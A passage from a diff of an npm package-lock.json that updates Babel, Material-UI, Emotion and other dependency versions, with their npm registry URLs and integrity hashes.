"https://registry.npmjs.org/@babel/plugin-transform-shorthand-properties/-/plugin-transform-shorthand-properties-7.16.7.tgz", + "integrity": "sha512-hah2+FEnoRoATdIb05IOXf+4GzXYTq75TVhIn1PewihbpyrNWUt2JbudKQOETWw6QpLe+AIUpJ5MVLYTQbeeUg==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.14.5" + "@babel/helper-plugin-utils": "^7.16.7" } }, "@babel/plugin-transform-spread": { - "version": "7.15.8", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-spread/-/plugin-transform-spread-7.15.8.tgz", - "integrity": "sha512-/daZ8s2tNaRekl9YJa9X4bzjpeRZLt122cpgFnQPLGUe61PH8zMEBmYqKkW5xF5JUEh5buEGXJoQpqBmIbpmEQ==", + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-spread/-/plugin-transform-spread-7.16.7.tgz", + "integrity": "sha512-+pjJpgAngb53L0iaA5gU/1MLXJIfXcYepLgXB3esVRf4fqmj8f2cxM3/FKaHsZms08hFQJkFccEWuIpm429TXg==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.14.5", - "@babel/helper-skip-transparent-expression-wrappers": "^7.15.4" + "@babel/helper-plugin-utils": "^7.16.7", + "@babel/helper-skip-transparent-expression-wrappers": "^7.16.0" } }, "@babel/plugin-transform-sticky-regex": { - "version": "7.14.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-sticky-regex/-/plugin-transform-sticky-regex-7.14.5.tgz", - "integrity": "sha512-Z7F7GyvEMzIIbwnziAZmnSNpdijdr4dWt+FJNBnBLz5mwDFkqIXU9wmBcWWad3QeJF5hMTkRe4dAq2sUZiG+8A==", + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-sticky-regex/-/plugin-transform-sticky-regex-7.16.7.tgz", + "integrity": "sha512-NJa0Bd/87QV5NZZzTuZG5BPJjLYadeSZ9fO6oOUoL4iQx+9EEuw/eEM92SrsT19Yc2jgB1u1hsjqDtH02c3Drw==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.14.5" + "@babel/helper-plugin-utils": "^7.16.7" } }, "@babel/plugin-transform-template-literals": { - "version": "7.14.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-template-literals/-/plugin-transform-template-literals-7.14.5.tgz", - "integrity": "sha512-22btZeURqiepOfuy/VkFr+zStqlujWaarpMErvay7goJS6BWwdd6BY9zQyDLDa4x2S3VugxFb162IZ4m/S/+Gg==", + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-template-literals/-/plugin-transform-template-literals-7.16.7.tgz", + "integrity": "sha512-VwbkDDUeenlIjmfNeDX/V0aWrQH2QiVyJtwymVQSzItFDTpxfyJh3EVaQiS0rIN/CqbLGr0VcGmuwyTdZtdIsA==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.14.5" + "@babel/helper-plugin-utils": "^7.16.7" } }, "@babel/plugin-transform-typeof-symbol": { - "version": "7.14.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-typeof-symbol/-/plugin-transform-typeof-symbol-7.14.5.tgz", - "integrity": "sha512-lXzLD30ffCWseTbMQzrvDWqljvZlHkXU+CnseMhkMNqU1sASnCsz3tSzAaH3vCUXb9PHeUb90ZT1BdFTm1xxJw==", + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-typeof-symbol/-/plugin-transform-typeof-symbol-7.16.7.tgz", + "integrity": "sha512-p2rOixCKRJzpg9JB4gjnG4gjWkWa89ZoYUnl9snJ1cWIcTH/hvxZqfO+WjG6T8DRBpctEol5jw1O5rA8gkCokQ==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.14.5" + "@babel/helper-plugin-utils": "^7.16.7" } }, "@babel/plugin-transform-unicode-escapes": { - "version": "7.14.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-escapes/-/plugin-transform-unicode-escapes-7.14.5.tgz", - "integrity": "sha512-crTo4jATEOjxj7bt9lbYXcBAM3LZaUrbP2uUdxb6WIorLmjNKSpHfIybgY4B8SRpbf8tEVIWH3Vtm7ayCrKocA==", + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-escapes/-/plugin-transform-unicode-escapes-7.16.7.tgz", + "integrity": "sha512-TAV5IGahIz3yZ9/Hfv35TV2xEm+kaBDaZQCn2S/hG9/CZ0DktxJv9eKfPc7yYCvOYR4JGx1h8C+jcSOvgaaI/Q==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.14.5" + "@babel/helper-plugin-utils": "^7.16.7" } }, "@babel/plugin-transform-unicode-regex": { - "version": "7.14.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-regex/-/plugin-transform-unicode-regex-7.14.5.tgz", - "integrity": "sha512-UygduJpC5kHeCiRw/xDVzC+wj8VaYSoKl5JNVmbP7MadpNinAm3SvZCxZ42H37KZBKztz46YC73i9yV34d0Tzw==", + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-regex/-/plugin-transform-unicode-regex-7.16.7.tgz", + "integrity": "sha512-oC5tYYKw56HO75KZVLQ+R/Nl3Hro9kf8iG0hXoaHP7tjAyCpvqBiSNe6vGrZni1Z6MggmUOC6A7VP7AVmw225Q==", "dev": true, "requires": { - "@babel/helper-create-regexp-features-plugin": "^7.14.5", - "@babel/helper-plugin-utils": "^7.14.5" + "@babel/helper-create-regexp-features-plugin": "^7.16.7", + "@babel/helper-plugin-utils": "^7.16.7" } }, "@babel/preset-env": { - "version": "7.15.8", - "resolved": "https://registry.npmjs.org/@babel/preset-env/-/preset-env-7.15.8.tgz", - "integrity": "sha512-rCC0wH8husJgY4FPbHsiYyiLxSY8oMDJH7Rl6RQMknbN9oDDHhM9RDFvnGM2MgkbUJzSQB4gtuwygY5mCqGSsA==", + "version": "7.16.11", + "resolved": "https://registry.npmjs.org/@babel/preset-env/-/preset-env-7.16.11.tgz", + "integrity": "sha512-qcmWG8R7ZW6WBRPZK//y+E3Cli151B20W1Rv7ln27vuPaXU/8TKms6jFdiJtF7UDTxcrb7mZd88tAeK9LjdT8g==", "dev": true, "requires": { - "@babel/compat-data": "^7.15.0", - "@babel/helper-compilation-targets": "^7.15.4", - "@babel/helper-plugin-utils": "^7.14.5", - "@babel/helper-validator-option": "^7.14.5", - "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.15.4", - "@babel/plugin-proposal-async-generator-functions": "^7.15.8", - "@babel/plugin-proposal-class-properties": "^7.14.5", - "@babel/plugin-proposal-class-static-block": "^7.15.4", - "@babel/plugin-proposal-dynamic-import": "^7.14.5", - "@babel/plugin-proposal-export-namespace-from": "^7.14.5", - "@babel/plugin-proposal-json-strings": "^7.14.5", - "@babel/plugin-proposal-logical-assignment-operators": "^7.14.5", - "@babel/plugin-proposal-nullish-coalescing-operator": "^7.14.5", - "@babel/plugin-proposal-numeric-separator": "^7.14.5", - "@babel/plugin-proposal-object-rest-spread": "^7.15.6", - "@babel/plugin-proposal-optional-catch-binding": "^7.14.5", - "@babel/plugin-proposal-optional-chaining": "^7.14.5", - "@babel/plugin-proposal-private-methods": "^7.14.5", - "@babel/plugin-proposal-private-property-in-object": "^7.15.4", - "@babel/plugin-proposal-unicode-property-regex": "^7.14.5", + "@babel/compat-data": "^7.16.8", + "@babel/helper-compilation-targets": "^7.16.7", + "@babel/helper-plugin-utils": "^7.16.7", + "@babel/helper-validator-option": "^7.16.7", + "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": "^7.16.7", + "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.16.7", + "@babel/plugin-proposal-async-generator-functions": "^7.16.8", + "@babel/plugin-proposal-class-properties": "^7.16.7", + "@babel/plugin-proposal-class-static-block": "^7.16.7", + "@babel/plugin-proposal-dynamic-import": "^7.16.7", + "@babel/plugin-proposal-export-namespace-from": "^7.16.7", + "@babel/plugin-proposal-json-strings": "^7.16.7", + "@babel/plugin-proposal-logical-assignment-operators": "^7.16.7", + "@babel/plugin-proposal-nullish-coalescing-operator": "^7.16.7", + "@babel/plugin-proposal-numeric-separator": "^7.16.7", + "@babel/plugin-proposal-object-rest-spread": "^7.16.7", + "@babel/plugin-proposal-optional-catch-binding": "^7.16.7", + "@babel/plugin-proposal-optional-chaining": "^7.16.7", + "@babel/plugin-proposal-private-methods": "^7.16.11", + "@babel/plugin-proposal-private-property-in-object": "^7.16.7", + "@babel/plugin-proposal-unicode-property-regex": "^7.16.7", "@babel/plugin-syntax-async-generators": "^7.8.4", "@babel/plugin-syntax-class-properties": "^7.12.13", "@babel/plugin-syntax-class-static-block": "^7.14.5", @@ -2273,75 +17639,51 @@ "@babel/plugin-syntax-optional-chaining": "^7.8.3", "@babel/plugin-syntax-private-property-in-object": "^7.14.5", "@babel/plugin-syntax-top-level-await": "^7.14.5", - "@babel/plugin-transform-arrow-functions": "^7.14.5", - "@babel/plugin-transform-async-to-generator": "^7.14.5", - "@babel/plugin-transform-block-scoped-functions": "^7.14.5", - "@babel/plugin-transform-block-scoping": "^7.15.3", - "@babel/plugin-transform-classes": "^7.15.4", - "@babel/plugin-transform-computed-properties": "^7.14.5", - "@babel/plugin-transform-destructuring": "^7.14.7", - "@babel/plugin-transform-dotall-regex": "^7.14.5", - "@babel/plugin-transform-duplicate-keys": "^7.14.5", - "@babel/plugin-transform-exponentiation-operator": "^7.14.5", - "@babel/plugin-transform-for-of": "^7.15.4", - "@babel/plugin-transform-function-name": "^7.14.5", - "@babel/plugin-transform-literals": "^7.14.5", - "@babel/plugin-transform-member-expression-literals": "^7.14.5", - "@babel/plugin-transform-modules-amd": "^7.14.5", - "@babel/plugin-transform-modules-commonjs": "^7.15.4", - "@babel/plugin-transform-modules-systemjs": "^7.15.4", - "@babel/plugin-transform-modules-umd": "^7.14.5", - "@babel/plugin-transform-named-capturing-groups-regex": "^7.14.9", - "@babel/plugin-transform-new-target": "^7.14.5", - "@babel/plugin-transform-object-super": "^7.14.5", - "@babel/plugin-transform-parameters": "^7.15.4", - "@babel/plugin-transform-property-literals": "^7.14.5", - "@babel/plugin-transform-regenerator": "^7.14.5", - "@babel/plugin-transform-reserved-words": "^7.14.5", - "@babel/plugin-transform-shorthand-properties": "^7.14.5", - "@babel/plugin-transform-spread": "^7.15.8", - "@babel/plugin-transform-sticky-regex": "^7.14.5", - "@babel/plugin-transform-template-literals": "^7.14.5", - "@babel/plugin-transform-typeof-symbol": "^7.14.5", - "@babel/plugin-transform-unicode-escapes": "^7.14.5", - "@babel/plugin-transform-unicode-regex": "^7.14.5", - "@babel/preset-modules": "^0.1.4", - "@babel/types": "^7.15.6", - "babel-plugin-polyfill-corejs2": "^0.2.2", - "babel-plugin-polyfill-corejs3": "^0.2.5", - "babel-plugin-polyfill-regenerator": "^0.2.2", - "core-js-compat": "^3.16.0", + "@babel/plugin-transform-arrow-functions": "^7.16.7", + "@babel/plugin-transform-async-to-generator": "^7.16.8", + "@babel/plugin-transform-block-scoped-functions": "^7.16.7", + "@babel/plugin-transform-block-scoping": "^7.16.7", + "@babel/plugin-transform-classes": "^7.16.7", + "@babel/plugin-transform-computed-properties": "^7.16.7", + "@babel/plugin-transform-destructuring": "^7.16.7", + "@babel/plugin-transform-dotall-regex": "^7.16.7", + "@babel/plugin-transform-duplicate-keys": "^7.16.7", + "@babel/plugin-transform-exponentiation-operator": "^7.16.7", + "@babel/plugin-transform-for-of": "^7.16.7", + "@babel/plugin-transform-function-name": "^7.16.7", + "@babel/plugin-transform-literals": "^7.16.7", + "@babel/plugin-transform-member-expression-literals": "^7.16.7", + "@babel/plugin-transform-modules-amd": "^7.16.7", + "@babel/plugin-transform-modules-commonjs": "^7.16.8", + "@babel/plugin-transform-modules-systemjs": "^7.16.7", + "@babel/plugin-transform-modules-umd": "^7.16.7", + "@babel/plugin-transform-named-capturing-groups-regex": "^7.16.8", + "@babel/plugin-transform-new-target": "^7.16.7", + "@babel/plugin-transform-object-super": "^7.16.7", + "@babel/plugin-transform-parameters": "^7.16.7", + "@babel/plugin-transform-property-literals": "^7.16.7", + "@babel/plugin-transform-regenerator": "^7.16.7", + "@babel/plugin-transform-reserved-words": "^7.16.7", + "@babel/plugin-transform-shorthand-properties": "^7.16.7", + "@babel/plugin-transform-spread": "^7.16.7", + "@babel/plugin-transform-sticky-regex": "^7.16.7", + "@babel/plugin-transform-template-literals": "^7.16.7", + "@babel/plugin-transform-typeof-symbol": "^7.16.7", + "@babel/plugin-transform-unicode-escapes": "^7.16.7", + "@babel/plugin-transform-unicode-regex": "^7.16.7", + "@babel/preset-modules": "^0.1.5", + "@babel/types": "^7.16.8", + "babel-plugin-polyfill-corejs2": "^0.3.0", + "babel-plugin-polyfill-corejs3": "^0.5.0", + "babel-plugin-polyfill-regenerator": "^0.3.0", + "core-js-compat": "^3.20.2", "semver": "^6.3.0" - }, - "dependencies": { - "@babel/helper-validator-identifier": { - "version": "7.15.7", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", - "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", - "dev": true - }, - "@babel/types": { - "version": "7.15.6", - "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", - "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", - "dev": true, - "requires": { - "@babel/helper-validator-identifier": "^7.14.9", - "to-fast-properties": "^2.0.0" - } - }, - "semver": { - "version": "6.3.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", - "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", - "dev": true - } } }, "@babel/preset-modules": { - "version": "0.1.4", - "resolved": "https://registry.npmjs.org/@babel/preset-modules/-/preset-modules-0.1.4.tgz", - "integrity": "sha512-J36NhwnfdzpmH41M1DrnkkgAqhZaqr/NBdPfQ677mLzlaXo+oDiv1deyCDtgAhz8p328otdob0Du7+xgHGZbKg==", + "version": "0.1.5", + "resolved": "https://registry.npmjs.org/@babel/preset-modules/-/preset-modules-0.1.5.tgz", + "integrity": "sha512-A57th6YRG7oR3cq/yt/Y84MvGgE0eJG2F1JLhKuyG+jFxEgrd/HAMJatiFtmOiZurz+0DkrvbheCLaV5f2JfjA==", "dev": true, "requires": { "@babel/helper-plugin-utils": "^7.0.0", @@ -2352,114 +17694,105 @@ } }, "@babel/preset-react": { - "version": "7.14.5", - "resolved": "https://registry.npmjs.org/@babel/preset-react/-/preset-react-7.14.5.tgz", - "integrity": "sha512-XFxBkjyObLvBaAvkx1Ie95Iaq4S/GUEIrejyrntQ/VCMKUYvKLoyKxOBzJ2kjA3b6rC9/KL6KXfDC2GqvLiNqQ==", + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/preset-react/-/preset-react-7.16.7.tgz", + "integrity": "sha512-fWpyI8UM/HE6DfPBzD8LnhQ/OcH8AgTaqcqP2nGOXEUV+VKBR5JRN9hCk9ai+zQQ57vtm9oWeXguBCPNUjytgA==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.14.5", - "@babel/helper-validator-option": "^7.14.5", - "@babel/plugin-transform-react-display-name": "^7.14.5", - "@babel/plugin-transform-react-jsx": "^7.14.5", - "@babel/plugin-transform-react-jsx-development": "^7.14.5", - "@babel/plugin-transform-react-pure-annotations": "^7.14.5" + "@babel/helper-plugin-utils": "^7.16.7", + "@babel/helper-validator-option": "^7.16.7", + "@babel/plugin-transform-react-display-name": "^7.16.7", + "@babel/plugin-transform-react-jsx": "^7.16.7", + "@babel/plugin-transform-react-jsx-development": "^7.16.7", + "@babel/plugin-transform-react-pure-annotations": "^7.16.7" } }, "@babel/runtime": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.15.4.tgz", - "integrity": "sha512-99catp6bHCaxr4sJ/DbTGgHS4+Rs2RVd2g7iOap6SLGPDknRK9ztKNsE/Fg6QhSeh1FGE5f6gHGQmvvn3I3xhw==", + "version": "7.17.8", + "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.17.8.tgz", + "integrity": "sha512-dQpEpK0O9o6lj6oPu0gRDbbnk+4LeHlNcBpspf6Olzt3GIX4P1lWF1gS+pHLDFlaJvbR6q7jCfQ08zA4QJBnmA==", "requires": { "regenerator-runtime": "^0.13.4" } }, "@babel/runtime-corejs2": { - "version": "7.9.6", - "resolved": "https://registry.npmjs.org/@babel/runtime-corejs2/-/runtime-corejs2-7.9.6.tgz", - "integrity": "sha512-TcdM3xc7weMrwTawuG3BTjtVE3mQLXUPQ9CxTbSKOrhn3QAcqCJ2fz+IIv25wztzUnhNZat7hr655YJa61F3zg==", + "version": "7.17.8", + "resolved": "https://registry.npmjs.org/@babel/runtime-corejs2/-/runtime-corejs2-7.17.8.tgz", + "integrity": "sha512-KWN7KTjojEVk+hhT7EtvWtSBTueqnPiCT2xPoDFF+ept2Sx9UKnLY7hGsnrNsdx7jvMUQnHoDS6AHCys7i15LA==", "requires": { "core-js": "^2.6.5", "regenerator-runtime": "^0.13.4" }, "dependencies": { "core-js": { - "version": "2.6.11", - "resolved": "https://registry.npmjs.org/core-js/-/core-js-2.6.11.tgz", - "integrity": "sha512-5wjnpaT/3dV+XB4borEsnAYQchn00XSgTAWKDkEqv+K8KevjbzmofK6hfJ9TZIlpj2N0xQpazy7PiRQiWHqzWg==" + "version": "2.6.12", + "resolved": "https://registry.npmjs.org/core-js/-/core-js-2.6.12.tgz", + "integrity": "sha512-Kb2wC0fvsWfQrgk8HU5lW6U/Lcs8+9aaYcy4ZFc6DDlo4nZ7n70dEgE5rtR0oG6ufKDUnrwfWL1mXR5ljDatrQ==" } } }, "@babel/runtime-corejs3": { - "version": "7.15.4", - "resolved": "https://registry.npmjs.org/@babel/runtime-corejs3/-/runtime-corejs3-7.15.4.tgz", - "integrity": "sha512-lWcAqKeB624/twtTc3w6w/2o9RqJPaNBhPGK6DKLSiwuVWC7WFkypWyNg+CpZoyJH0jVzv1uMtXZ/5/lQOLtCg==", + "version": "7.17.8", + "resolved": "https://registry.npmjs.org/@babel/runtime-corejs3/-/runtime-corejs3-7.17.8.tgz", + "integrity": "sha512-ZbYSUvoSF6dXZmMl/CYTMOvzIFnbGfv4W3SEHYgMvNsFTeLaF2gkGAF4K2ddmtSK4Emej+0aYcnSC6N5dPCXUQ==", "requires": { - "core-js-pure": "^3.16.0", + "core-js-pure": "^3.20.2", "regenerator-runtime": "^0.13.4" } }, "@babel/template": { - "version": "7.8.6", - "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.8.6.tgz", - "integrity": "sha512-zbMsPMy/v0PWFZEhQJ66bqjhH+z0JgMoBWuikXybgG3Gkd/3t5oQ1Rw2WQhnSrsOmsKXnZOx15tkC4qON/+JPg==", + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.16.7.tgz", + "integrity": "sha512-I8j/x8kHUrbYRTUxXrrMbfCa7jxkE7tZre39x3kjr9hvI82cK1FfqLygotcWN5kdPGWcLdWMHpSBavse5tWw3w==", "dev": true, "requires": { - "@babel/code-frame": "^7.8.3", - "@babel/parser": "^7.8.6", - "@babel/types": "^7.8.6" + "@babel/code-frame": "^7.16.7", + "@babel/parser": "^7.16.7", + "@babel/types": "^7.16.7" } }, "@babel/traverse": { - "version": "7.9.6", - "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.9.6.tgz", - "integrity": "sha512-b3rAHSjbxy6VEAvlxM8OV/0X4XrG72zoxme6q1MOoe2vd0bEc+TwayhuC1+Dfgqh1QEG+pj7atQqvUprHIccsg==", + "version": "7.17.3", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.17.3.tgz", + "integrity": "sha512-5irClVky7TxRWIRtxlh2WPUUOLhcPN06AGgaQSB8AEwuyEBgJVuJ5imdHm5zxk8w0QS5T+tDfnDxAlhWjpb7cw==", "dev": true, "requires": { - "@babel/code-frame": "^7.8.3", - "@babel/generator": "^7.9.6", - "@babel/helper-function-name": "^7.9.5", - "@babel/helper-split-export-declaration": "^7.8.3", - "@babel/parser": "^7.9.6", - "@babel/types": "^7.9.6", + "@babel/code-frame": "^7.16.7", + "@babel/generator": "^7.17.3", + "@babel/helper-environment-visitor": "^7.16.7", + "@babel/helper-function-name": "^7.16.7", + "@babel/helper-hoist-variables": "^7.16.7", + "@babel/helper-split-export-declaration": "^7.16.7", + "@babel/parser": "^7.17.3", + "@babel/types": "^7.17.0", "debug": "^4.1.0", - "globals": "^11.1.0", - "lodash": "^4.17.13" - }, - "dependencies": { - "debug": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz", - "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==", - "dev": true, - "requires": { - "ms": "^2.1.1" - } - }, - "ms": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", - "dev": true - } + "globals": "^11.1.0" } }, "@babel/types": { - "version": "7.9.6", - "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.9.6.tgz", - "integrity": "sha512-qxXzvBO//jO9ZnoasKF1uJzHd2+M6Q2ZPIVfnFps8JJvXy0ZBbwbNOmE6SGIY5XOY6d1Bo5lb9d9RJ8nv3WSeA==", - "dev": true, + "version": "7.17.0", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.17.0.tgz", + "integrity": "sha512-TmKSNO4D5rzhL5bjWFcVHHLETzfQ/AmbKpKPOSjlP0WoHZ6L911fgoOKY4Alp/emzG4cHJdyN49zpgkbXFEHHw==", "requires": { - "@babel/helper-validator-identifier": "^7.9.5", - "lodash": "^4.17.13", + "@babel/helper-validator-identifier": "^7.16.7", "to-fast-properties": "^2.0.0" } }, "@discoveryjs/json-ext": { - "version": "0.5.5", - "resolved": "https://registry.npmjs.org/@discoveryjs/json-ext/-/json-ext-0.5.5.tgz", - "integrity": "sha512-6nFkfkmSeV/rqSaS4oWHgmpnYw194f6hmWF5is6b0J1naJZoiD0NTc9AiUwPHvWsowkjuHErCZT1wa0jg+BLIA==", + "version": "0.5.7", + "resolved": "https://registry.npmjs.org/@discoveryjs/json-ext/-/json-ext-0.5.7.tgz", + "integrity": "sha512-dBVuXR082gk3jsFp7Rd/JI4kytwGHecnCoTtXFb7DB6CNHp4rg5k1bhg0nWdLGLnOV71lmDzGQaLMy8iPLY0pw==", "dev": true }, + "@egjs/hammerjs": { + "version": "2.0.17", + "resolved": "https://registry.npmjs.org/@egjs/hammerjs/-/hammerjs-2.0.17.tgz", + "integrity": "sha512-XQsZgjm2EcVUiZQf11UBJQfmZeEmOW8DpI1gsFeln6w0ae0ii4dMQEQ0kjl6DspdWX1aGY1/loyXnP0JS06e/A==", + "peer": true, + "requires": { + "@types/hammerjs": "^2.0.36" + } + }, "@emotion/cache": { "version": "10.0.29", "resolved": "https://registry.npmjs.org/@emotion/cache/-/cache-10.0.29.tgz", @@ -2472,9 +17805,9 @@ } }, "@emotion/core": { - "version": "10.1.1", - "resolved": "https://registry.npmjs.org/@emotion/core/-/core-10.1.1.tgz", - "integrity": "sha512-ZMLG6qpXR8x031NXD8HJqugy/AZSkAuMxxqB46pmAR7ze47MhNJ56cdoX243QPZdGctrdfo+s08yZTiwaUcRKA==", + "version": "10.3.1", + "resolved": "https://registry.npmjs.org/@emotion/core/-/core-10.3.1.tgz", + "integrity": "sha512-447aUEjPIm0MnE6QYIaFz9VQOHSXf4Iu6EWOIqq11EAPqinkSZmfymPTmlOE3QjLv846lH4JVZBUOtwGbuQoww==", "requires": { "@babel/runtime": "^7.5.5", "@emotion/cache": "^10.0.27", @@ -2571,11 +17904,11 @@ } }, "@fortawesome/react-fontawesome": { - "version": "0.1.15", - "resolved": "https://registry.npmjs.org/@fortawesome/react-fontawesome/-/react-fontawesome-0.1.15.tgz", - "integrity": "sha512-/HFHdcoLESxxMkqZAcZ6RXDJ69pVApwdwRos/B2kiMWxDSAX2dFK8Er2/+rG+RsrzWB/dsAyjefLmemgmfE18g==", + "version": "0.1.18", + "resolved": "https://registry.npmjs.org/@fortawesome/react-fontawesome/-/react-fontawesome-0.1.18.tgz", + "integrity": "sha512-RwLIB4TZw0M9gvy5u+TusAA0afbwM4JQIimNH/j3ygd6aIvYPQLqXMhC9ErY26J23rDPyDZldIfPq/HpTTJ/tQ==", "requires": { - "prop-types": "^15.7.2" + "prop-types": "^15.8.1" } }, "@jest/types": { @@ -2642,21 +17975,44 @@ } } }, + "@jridgewell/resolve-uri": { + "version": "3.0.5", + "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.0.5.tgz", + "integrity": "sha512-VPeQ7+wH0itvQxnG+lIzWgkysKIr3L9sslimFW55rHMdGu/qCQ5z5h9zq4gI8uBtqkpHhsF4Z/OwExufUCThew==", + "dev": true + }, + "@jridgewell/sourcemap-codec": { + "version": "1.4.11", + "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.11.tgz", + "integrity": "sha512-Fg32GrJo61m+VqYSdRSjRXMjQ06j8YIYfcTqndLYVAaHmroZHLJZCydsWBOTDqXS2v+mjxohBWEMfg97GXmYQg==", + "dev": true + }, + "@jridgewell/trace-mapping": { + "version": "0.3.4", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.4.tgz", + "integrity": "sha512-vFv9ttIedivx0ux3QSjhgtCVjPZd5l46ZOMDSCwnH1yUO2e964gO8LZGyv2QkqcgR6TnBU1v+1IFqmeoG+0UJQ==", + "dev": true, + "requires": { + "@jridgewell/resolve-uri": "^3.0.3", + "@jridgewell/sourcemap-codec": "^1.4.10" + } + }, "@kunukn/react-collapse": { "version": "1.2.7", "resolved": "https://registry.npmjs.org/@kunukn/react-collapse/-/react-collapse-1.2.7.tgz", - "integrity": "sha512-Ez4CqaPqYFdYX8k8A0Y0640tEZT6oo+Lj3g3KyzuWjkl6uOBrnBohxyUfrCoS6wYVun9GUOgRH5V3pSirrmJDQ==" + "integrity": "sha512-Ez4CqaPqYFdYX8k8A0Y0640tEZT6oo+Lj3g3KyzuWjkl6uOBrnBohxyUfrCoS6wYVun9GUOgRH5V3pSirrmJDQ==", + "requires": {} }, "@material-ui/core": { - "version": "4.12.3", - "resolved": "https://registry.npmjs.org/@material-ui/core/-/core-4.12.3.tgz", - "integrity": "sha512-sdpgI/PL56QVsEJldwEe4FFaFTLUqN+rd7sSZiRCdx2E/C7z5yK0y/khAWVBH24tXwto7I1hCzNWfJGZIYJKnw==", + "version": "4.12.4", + "resolved": "https://registry.npmjs.org/@material-ui/core/-/core-4.12.4.tgz", + "integrity": "sha512-tr7xekNlM9LjA6pagJmL8QCgZXaubWUwkJnoYcMKd4gw/t4XiyvnTkjdGrUVicyB2BsdaAv1tvow45bPM4sSwQ==", "requires": { "@babel/runtime": "^7.4.4", - "@material-ui/styles": "^4.11.4", - "@material-ui/system": "^4.12.1", + "@material-ui/styles": "^4.11.5", + "@material-ui/system": "^4.12.2", "@material-ui/types": "5.1.0", - "@material-ui/utils": "^4.11.2", + "@material-ui/utils": "^4.11.3", "@types/react-transition-group": "^4.2.0", "clsx": "^1.0.4", "hoist-non-react-statics": "^3.3.2", @@ -2664,25 +18020,32 @@ "prop-types": "^15.7.2", "react-is": "^16.8.0 || ^17.0.0", "react-transition-group": "^4.4.0" + }, + "dependencies": { + "popper.js": { + "version": "1.16.1-lts", + "resolved": "https://registry.npmjs.org/popper.js/-/popper.js-1.16.1-lts.tgz", + "integrity": "sha512-Kjw8nKRl1m+VrSFCoVGPph93W/qrSO7ZkqPpTf7F4bk/sqcfWK019dWBUpE/fBOsOQY1dks/Bmcbfn1heM/IsA==" + } } }, "@material-ui/icons": { - "version": "4.11.2", - "resolved": "https://registry.npmjs.org/@material-ui/icons/-/icons-4.11.2.tgz", - "integrity": "sha512-fQNsKX2TxBmqIGJCSi3tGTO/gZ+eJgWmMJkgDiOfyNaunNaxcklJQFaFogYcFl0qFuaEz1qaXYXboa/bUXVSOQ==", + "version": "4.11.3", + "resolved": "https://registry.npmjs.org/@material-ui/icons/-/icons-4.11.3.tgz", + "integrity": "sha512-IKHlyx6LDh8n19vzwH5RtHIOHl9Tu90aAAxcbWME6kp4dmvODM3UvOHJeMIDzUbd4muuJKHmlNoBN+mDY4XkBA==", "requires": { "@babel/runtime": "^7.4.4" } }, "@material-ui/styles": { - "version": "4.11.4", - "resolved": "https://registry.npmjs.org/@material-ui/styles/-/styles-4.11.4.tgz", - "integrity": "sha512-KNTIZcnj/zprG5LW0Sao7zw+yG3O35pviHzejMdcSGCdWbiO8qzRgOYL8JAxAsWBKOKYwVZxXtHWaB5T2Kvxew==", + "version": "4.11.5", + "resolved": "https://registry.npmjs.org/@material-ui/styles/-/styles-4.11.5.tgz", + "integrity": 